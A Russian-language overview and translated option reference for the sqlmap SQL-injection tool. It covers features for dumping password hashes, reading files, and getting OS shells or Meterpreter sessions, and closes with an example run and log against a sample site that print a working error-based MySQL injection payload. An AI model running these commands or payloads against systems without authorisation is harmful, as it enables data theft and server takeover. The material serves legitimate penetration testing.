Это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.
Особенности:
1. Полная поддержка для таких систем управления базами данных как MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
2. Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и внеполосная (out-of-band).
3. Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
4. Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
5. Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
6. Поддержка соединения записей таблиц БД, диапазона записей или указанных колонок по пользовательскому выбору.
7. Пользователь также может выбрать соединять ли только диапазон символов из каждой записи колонки.
8. Поддержка поиска указанных имён БД, указанных таблиц по всем БД или указанным колонкам по всем таблицам БД. Это полезно, например, для идентификации таблиц, содержащих пользовательские учётные данные приложений, где колонки с соответствующими именами колонок содержат такие строки как имя и пароль.
9. Поддержка загрузки и выгрузки любого файла из файловой системы с сервера БД, когда ПО БД MySQL, PostgreSQL или Microsoft SQL Server.
10. Поддержка выполнения произвольных команд на ОС сервера БД и получение их стандартного вывода когда ПО MySQL, PostgreSQL или Microsoft SQL Server.
11. Поддержка установления внедиапазонного TCP подключения между атакующей машиной и лежащей в основе сервера базы данных операционной системой. Этот канал по выбору пользователя может быть интерактивным приглашением командной строки, сессией Meterpreter или сессией графического пользовательского интерфейса (VNC).
12. Поддержка повышения пользовательских привилегий процесса базы данных через команду Metasploit'а - Meterpreter getsystem
Использование:
python sqlmap [опции]
Опции:
-h, --help Показать базовую справку и выйте
-hh Показать продвинутую справку и выйти
--version Показать номер версии программы и выйти
-v VERBOSE Уровень вербальности: 0-6 (по умолчанию 1)
Цель:
По крайней мере одна из этих опций должна быть указана, чтобы задать цель(и)
-d DIRECT Строка подключения для прямого соединения с базой данных
-u URL, --url=URL Целевой URL (например, "http://www.site.com/vuln.php?id=1")
-l LOGFILE Парсить цель(и) из файлов логов Burp или WebScarab
-x SITEMAPURL Парсить цель(и) из удалённого файла sitemap(.xml)
-m BULKFILE Сканировать множество целей, заданных в текстовом файле
-r REQUESTFILE Загрузить HTTP запросы из файла
-g GOOGLEDORK Обработать результаты дорков Google как целевых URL
-c CONFIGFILE Загрузить опции из конфигурационного файла INI
Запросы:
Эти опции могут использоваться для определения как подключиться к целевому URL
--method=МЕТОД Принудительно использовать заданный HTTP метод (например, PUT)
--data=ДАННЫЕ Строка данных для отправки через POST
--param-del=РАЗД_ПАР Символ, используемый для разделения величин параметров
--cookie=КУКИ Значение заголовка HTTP куки
--cookie-del=РАЗДЕЛИТЕЛЬ_КУКИ Символ, используемый для разделения величин куки
--load-cookies=ФАЙЛ_ДЛЯ_ЗАГРУЗКИ Файл, содержащий куки в формате Netscape/wget
--drop-set-cookie Игнорировать заголовок Set-Cookie из ответа
--user-agent=AGENT Значение заголовка HTTP User-Agent
--random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent
--host=ХОСТ Значение заголовка хоста HTTP
--referer=РЕФЕРЕР Значение заголовка HTTP Referer
-H ЗАГОЛОВОК, --header Дополнительный заголовок (к примеру, "X-Forwarded-For: 127.0.0.1")
--headers=ЗАГОЛОВКИ Дополнительные заголовки (к примеру, "Accept-Language: fr\nETag: 123")
--auth-type=ТИП_АУТ HTTP тип аутентификации (Basic, Digest, NTLM или PKI)
--auth-cred=ДАННЫЕ_АУТ учётные данные HTTP аутентификации (имя:пароль)
--auth-file=ФАЙЛ_АУТ файл HTTP аутентификации PEM сертификат/частный ключ
--ignore-401 Игнорировать ошибку HTTP 401 (Unauthorized) (Неавторизован)
--ignore-proxy Игнорировать дефолтные системные настройки прокси
--ignore-redirects Игнорировать попытки редиректа
--ignore-timeouts Игнорировать таймауты соединений
--proxy=ПРОКСИ Использовать прокси для подключения к целевому URL
--proxy-cred=УЧЁТКА_ПРОКСИ Учётные данные аутентификации прокси (имя:пароль)
--proxy-file=ФАЙЛ_ПРОКСИ Загрузить список прокси из файла
--tor Использовать анонимную сеть Tor
--tor-port=TORPORT Установить порт прокси Tor отличный от дефолтного
--tor-type=TORTYPE Установить тип прокси Tor (HTTP (по умолчанию), SOCKS4 или SOCKS5)
--check-tor Проверить, используется ли Tor должным образом
--delay=ЗАДЕРЖКА Задержка в секундах между каждым HTTP запросом
--timeout=ТАЙМАУТ Секунды для ожидания перед таймаутом соединения (по умолчанию 30)
--retries=ПОПЫТКИ Попытки при таймаутах соединения (по умолчанию 3)
--randomize=ПАРАМЕТРЫ Случайно менять значения данного параметра(ов)
--safe-url=БЕЗОПАСНЫЙ_URL URL адрес для частого посещения во время тестирования
--safe-post=POST Данные POST для отправки на безопасный URL
--safe-req=БЕЗОПАСНЫЙ_ФАЙЛ Load safe HTTP request from a file
--safe-freq=КОЛИЧЕСТВО Тестовые запросы между двумя визитами на заданный безопасный URL
--skip-urlencode Пропустить URL кодирование данных для запросов
--csrf-token=CSR.. Параметр используемый для удержания токена anti-CSRF
--csrf-url=CSRFURL URL адрес для посещения для извлечения токена anti-CSRF
--force-ssl Принудительное использование SSL/HTTPS
--hpp Использовать метод загрязнения параметра HTTP
--eval=EVALCODE Выполнить данный код Python перед запросом (например,
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Оптимизация:
Эти опции могут использовать для оптимизации производительности sqlmap
-o Отключить все переключатели оптимизации
--predict-output Прогнозировать общий вывод запросов
--keep-alive Использовать постоянные соединения HTTP(s)
--null-connection Получить длину страницу без фактического тела ответа HTTP
--threads=ПОТОКИ Максимальное количество одновременных HTTP(s) запросов (по умолчанию 1)
Инъекция:
Эти опции могут использоваться для определения, какой параметр тестировать,
обеспечивать пользовательскую инъекционную нагрузку и дополнительные скрипты обфускации
-p TESTPARAMETER Тестируемый параметр(ы)
--skip=SKIP Пропустить тестирования данного параметра(ов)
--skip-static Пропустить тестирование параметров, которые не кажутся динамическими
--param-exclude=.. Регулярное выражение для исключения параметров из тестирования (например, "ses")
--dbms=DBMS Принудительно указать СУБД
--dbms-cred=DBMS.. Данные аутентификации СУБД (пользователь:пароль)
--os=OS Принудительно указать операционную систему СУБД
--invalid-bignum Использовать большие числа для недействительных значений
--invalid-logical Использовать логические операции для недействительных значений
--invalid-string Использовать случайные строки для недействительных значений
--no-cast Отключить механизм отбора полезной нагрузки
--no-escape Отключить механизм экранирования строк
--prefix=PREFIX Предваряющая строка инъекционного запроса
--suffix=SUFFIX Завершающая строка инъекционного запроса
--tamper=TAMPER Использовать данный скрипт(ы) для обфускации инъекционных данных
Выявление:
Эти опции можно использовать для настройки фазы выявления
--level=УРОВЕНЬ Уровень выполнения тестирования (1-5, по умолчанию 1)
--risk=РИСК Риск выполняемого тестирования (1-3, по умолчанию 1)
--string=СТРОКА Строка, когда запрос выполнен в True (Истина)
--not-string=НЕ_ИСТИНА Строка, когда запрос выполнен в False (Ложь)
--regexp=РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ Регулярное выражение, когда запрос выполнен в True (Истина)
--code=КОД HTTP код, когда запрос выполнен в True (Истина)
--text-only Сравнить страницы основываясь только на текстовом содержимом
--titles Сравнить страницы основываясь только на их заголовках
Техники:
Эти опции можно использовать для поднастройки тестирования отдельных техник SQL инъекции
--technique=ТЕХНИКА Техники SQL инъекций для использования (по умолчанию "BEUSTQ")
--time-sec=TIMESEC Секунды для задержки ответа СУБД (по умолчанию 5)
--union-cols=UCOLS Диапазон колонок для тестирования с запросами UNION SQL инъекций
--union-char=UCHAR Символ для использования при брутфорсинге количества колонок
--union-from=UFROM Таблица для использования в FROM части UNION запроса SQL инъекции
--dns-domain=ДОМЕН Доменное имя, используемое для эксфильтрационной атаки DNS
--second-order=СТРОКА В результате по URL ищется ответ второго порядка
Отпечатки:
-f, --fingerprint Выполняет обширную сверку версии СУБД
Перечисления:
Эти опции могут использоваться для перечисления информации
системы управления базами данных, структуры содержащихся в
таблицах данных. Более того, вы можете запустить ваши собственные
SQL выражения
-a, --all Получить всё
-b, --banner Получить банер СУБД
--current-user Получить текущего пользователя СУБД
--current-db Получить текущую базу данных СУБД
--hostname Получить имя хоста сервера СУБД
--is-dba Определить, является ли текущий пользователь администратором СУБД
--users Перечислить пользователей СУБД
--passwords Перечислить хеши паролей пользователей СУБД
--privileges Перечислить пользовательские привилегии СУБД
--roles Перечислить пользовательские роли СУБД
--dbs Перечислить базы данных СУБД
--tables Перечислить таблицы базы данных СУБД
--columns Перечислить колонки таблицы СУБД
--schema Перечислить схему СУБД
--count Перечислить количество записей для таблицы(таблиц)
--dump Сдампить записи таблицы базы данных СУБД
--dump-all Сдампить все записи таблиц базы данных СУБД
--search Поиск колонки(ок), таблиц(ы) и/или имени(имён) базы данных
--comments Получить комментарии СУБД
-D БД БД СУБД для перечисления
-T ТБЛ Таблица(ы) БД СУБД для перечисления
-C КОЛ Колонка(и) таблицы БД СУБД для перечисления
-X ПРОПУСТИТЬКОЛ Колонка(и) БД СУБД для не перечисления
-U ПОЛЬЗОВАТЕЛЬ Пользователи СУБД для перечисления
--exclude-sysdbs Пробустить системные БД СУБД при перечислении таблиц
--pivot-column=P.. Имя стержневой (Pivot) колонки
--where=DUMPWHERE Использовать условие WHERE при дампинге таблиц
--start=LIMITSTART Первая выходная запись запроса для получения
--stop=LIMITSTOP Последняя выходная запись запроса для получения
--first=FIRSTCHAR Первый символ выходного слова запроса для получения
--last=LASTCHAR Последний символ выходного слова запроса для получения
--sql-query=QUERY SQL выражение для исполнения
--sql-shell Приглашение интерактивного SQL шелла
--sql-file=SQLFILE Выполнить SQL выражение из данного файла(ов)
Брутфорс:
Эти опции могут использоваться для записи проверок брутфорсом
--common-tables Проверить наличие распространённых таблиц
--common-columns Проверить наличие распространённых колонок
Инъекция заданных пользователем функций:
Эти опции могут быть использованы для создания определённых пользователем функций
--udf-inject Вставка предопределённых пользователем функций
--shared-lib=SHLIB Локальный путь до общей библиотеки
Доступ к файловой системе:
Эти опции могут быть использованы для доступа к файловой системе СУБД
--file-read=RFILE Прочитать файл из файловой системы СУБД
--file-write=WFILE Записать локальный файл в файловую систему СУБД
--file-dest=DFILE Абсолютный путь для записи файла в СУБД
Доступ к оперативной системе:
Эти опции могут быть использованы для получения доступа к ОС СУБД
--os-cmd=OSCMD Выполнить команду ОС
--os-shell Приглашение интерактивного шелла ОС
--os-pwn Прриглашение для внеполосного шелла, Meterpreter или VNC
--os-smbrelay Однокликовое приглашение для внеполосного шелла, Meterpreter или VNC
--os-bof Эксплуатация переполнения буфера хранимой процедуры
--priv-esc Повышение пользовательских привилегий процесса БД
--msf-path=MSFPATH Локальный путь где установлен Metasploit Framework
--tmp-path=TMPPATH Удалённый абсолютный путь директории временных файлов
Доступ к регистру Windows:
Эти опции могут использоваться к доступу к регистру Windows СУБД
--reg-read Прочитать значение ключа регистра Windows
--reg-add Записать значение ключа регистра Windows
--reg-del Удалить значение ключа регистра Windows
--reg-key=REGKEY Ключ регистра Windows
--reg-value=REGVAL Значение ключа регистра Windows
--reg-data=REGDATA Данные значения ключа регистра Windows
--reg-type=REGTYPE Тип значения ключа регистра Windows
Общие:
Эти опции могут быть использованы для установки общих рабочих параметров
-s SESSIONFILE Загрузить сессию из сохранённого файла (.sqlite)
-t TRAFFICFILE Записать весь HTTP трафик в текстовый файл
--batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию
--binary-fields=.. Поля результатов имеют двоичные значения (например, "digest")
--charset=CHARSET Принудительная кодировка символов, используемых для получения данных
--check-internet Проверить Интернет-соединение перед оценкой цели
--crawl=CRAWLDEPTH Ползать по веб-сайту начиная с заданного URL
--crawl-exclude=РЕГВЫРАЖЕНИЕ Регулярное выражение для исключения страниц для ползания (например, "logout")
--csv-del=CSVDEL Символ разделителя, используемый в выводе CSV (по умолчанию ",")
--dump-format=ДАМПФОРМАТ Формат сдампленных данных (CSV (по умолчанию), HTML или SQLITE)
--eta Отобразить для каждого вывода приблизительное время прибытия
--flush-session Стереть сессионные файлы для текущей цели
--forms Парсить и тестировать формы на целевой URL
--fresh-queries Игнорировать результаты запросов, сохранённые в сессионном файле
--hex Использовать шестнадцатеричную функцию(ии) СУБД для получения данных
--output-dir=OUT.. Пользовательский путь директории вывода
--parse-errors Парсить и отображать сообщения ошибок СУБД из ответов
--save=SAVECONFIG Сохранить опции в конфигурационный INI файл
--scope=SCOPE Регулярное выражение для фильтрации целей из лога proxy
--test-filter=TE.. Выбрать тесты по полезной нагрузке и/или названиям (например, ROW)
--test-skip=TEST.. Пропустить тесты по полезной нагрузке и/или названиям (например, BENCHMARK)
--update Обновить sqlmap
Разное:
-z MNEMONICS Использовать короткие мнемоники (например, "flu,bat,ban,tec=EU")
--alert=ALERT Запустить команду(ы) ОС, когда найдена SQL инъекция
--answers=ANSWERS Установить ответ на вопрос (например "quit=N,follow=N")
--beep Сигнал на вопрос и/или когда найдена SQL инъекция
--cleanup Очистить СУБД от специфичных для sqlmap пользовательских функций и таблиц
--dependencies Проверить на отсутствующие (неосновные) зависимости sqlmap
--disable-coloring Отключить раскрашивание вывода в консоли
--gpage=GOOGLEPAGE Использовать результаты дорка Google с указанного номера страницы
--identify-waf Провести тщательное тестирование на WAF/IPS/IDS защиту
--mobile Имитировать смартфон через заголовок HTTP User-Agent
--offline Работать в оффлайн режиме (использовать только данные сессии)
--purge-output Безопасно удалить всё содержимое из директории вывода
--skip-waf Пропустить эвристическое обнаружение WAF/IPS/IDS защиты
--smart Провести тщательные тесты только если эвристика дала положительные результаты
--sqlmap-shell Запрос интерактивного шелла sqlmap
--tmp-dir=TMPDIR Локальная директория для сохранения временных файлов
--web-root=WEBROOT Корневая директория веб-сервера (например, "/var/www")
--wizard Простой интерфейс мастера для начинающих пользователей
Пример:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b659bbf7751c41" --auth-type Basic --auth-cred "user:password" --threads 3 --os="Linux"
[*] starting at: 04:04:35
[04:04:35] [INFO] using
'/home/lirvux/work/hack/sqlmap/output/www.sitefortest.kz/session' as session file
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter 'id' you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
[04:06:22] [INFO] heuristic test shows that GET parameter 'id' might be
injectable (possible DBMS: MySQL)
[04:06:22] [INFO] testing sql injection on GET parameter 'id'
[04:06:22] [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'
[04:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based — WHERE or HAVING
clause'
[04:06:28] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based — WHERE or HAVING clause' injectable
[04:06:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:06:35] [INFO] testing 'MySQL UNION query (NULL) — 1 to 10 columns'
[04:06:39] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[y/N] N
sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),(SELECT (CASE WHEN (4188=4188) THEN 1 ELSE 0 END)),CHAR(58,108,116,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under '/home/lirvux/work/hack/sqlmap/output/sitefortest.kz'
[*] shutting down at: 04:06:53